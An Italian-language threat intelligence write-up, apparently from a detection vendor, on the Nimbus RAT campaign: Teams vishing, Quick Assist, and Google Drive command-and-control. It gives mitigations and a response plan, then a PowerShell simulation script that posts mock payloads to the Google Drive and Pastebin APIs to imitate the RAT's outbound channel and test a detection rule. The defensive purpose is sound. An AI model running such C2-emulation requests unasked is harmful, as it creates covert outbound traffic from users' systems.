SOC Prime Bias: Medio

05 Jun 2026 15:31 UTC

Nimbus RAT Distribuito Tramite Microsoft Teams e Google Drive

Author Photo
SOC Prime Team linkedin icon Segui
Nimbus RAT Distribuito Tramite Microsoft Teams e Google Drive
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

Gli attori delle minacce hanno utilizzato il phishing vocale di Microsoft Teams insieme a Quick Assist per distribuire un trojan di accesso remoto basato su Java noto come Nimbus RAT. Il malware si affida a Google Drive e Google Sheets come suoi canali di command-and-control e include il proprio runtime OpenJDK integrato. Per il furto di credenziali, utilizza un falso prompt di sicurezza di Windows o l’API CredUI nativa per catturare i segreti dell’utente.

Indagine

Il Threat Response Unit di eSentire ha ricostruito l’intera catena di intrusione utilizzando i log del flusso di posta, la telemetria degli endpoint e l’analisi statica del malware Java. La campagna ha combinato il bombardamento di email, una chiamata di vishing basata su Teams, supporto remoto Quick Assist, un foglio d’istruzioni hostato su Pastebin e un tenant SharePoint compromesso usato per distribuire il payload.

Mitigazione

Le difese consigliate includono il disabilitare la messaggistica esterna di Teams proveniente da tenant sconosciuti, bloccare Quick Assist dove non è richiesto, allertare su picchi di attività di bombardamento di email, monitorare javaw.exe esecuzione da posizioni inusuali e rilevare chiamate API di Google Drive sospette iniziate da processi inattesi.

Risposta

Se viene rilevata un’attività di Nimbus RAT, isolare il sistema interessato, terminare tutti i javaw.exe processi correlati, rimuovere la C:ProgramDataInboxCorePro directory e qualsiasi scorciatoia di avvio associata, e considerare un’immagine completa del sistema. Rivedere anche i log di audit di Google Workspace per identificare eventuali concessioni non autorizzate delle applicazioni di Google Drive.

Flusso di Attacco

Esecuzione Simulazione

Prerequisito: Il Controllo Preparatorio di Telemetria & Baseline deve essere stato superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.

  • Narrazione e Comandi dell’Attacco:
    L’attore delle minacce ha già compromesso l’endpoint con il binario di Nimbus RAT. Per stabilire un canale C2 nascosto, il RAT emette due richieste in uscita HTTP POST:

    1. Chiamata API di Google Drive – carica un piccolo payload JSON su https://www.googleapis.com/drive/v3/files?uploadType=media, imitando il comportamento di “download-payload” del RAT.
    2. Pastebin Paste – invia una stringa di comando codificata base-64 a https://pastebin.com/api/api_post.php utilizzando la chiave API pubblica.

    Entrambe le richieste sono eseguite tramite Invoke-WebRequest di PowerShell per assicurare che i log del firewall contengano il campo dominio (googleapis.com and pastebin.com). L’attaccante esegue i comandi nel contesto dell’utente compromesso per confondere con l’attività normale.

  • Script di Test di Regressione:

    # --------------------------------------------------------------
    # Simulazione C2 di Nimbus RAT – attiva la regola Sigma su corrispondenza del dominio
    # --------------------------------------------------------------
    
    # 1. Caricamento fittizio API di Google Drive (nessuna autenticazione – concentrato sulla telemetria del dominio)
    $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json
    $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media"
    
    try {
        Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload `
            -ContentType "application/json" -UseBasicParsing -ErrorAction Stop
        Write-Host "[+] Caricato mock su Google Drive API"
    } catch {
        Write-Warning "Richiesta a Google Drive fallita (atteso in sandbox): $_"
    }
    
    # 2. Post pubblico API Pastebin (richiede una chiave sviluppatore – usando un segnaposto)
    $pastebinKey   = "YOUR_PUBLIC_API_KEY"    # <-- sostituire con una chiave valida per test reale
    $pastebinText  = "echo 'Comando simulato da C2'" 
    $pastebinUri   = "https://pastebin.com/api/api_post.php"
    $pastebinBody  = @{
        api_dev_key = $pastebinKey
        api_option  = "paste"
        api_paste_code = $pastebinText
        api_paste_private = "1"
    }
    
    try {
        Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody `
            -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop
        Write-Host "[+] Postato comando mock a Pastebin"
    } catch {
        Write-Warning "Richiesta a Pastebin fallita (atteso in sandbox): $_"
    }
    
    # --------------------------------------------------------------
    # Fine simulazione
    # --------------------------------------------------------------
  • Comandi di Pulizia:

    # Rimuovere eventuali file temporanei o variabili utilizzati durante la simulazione
    Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue
    Write-Host "[*] Pulizia completata."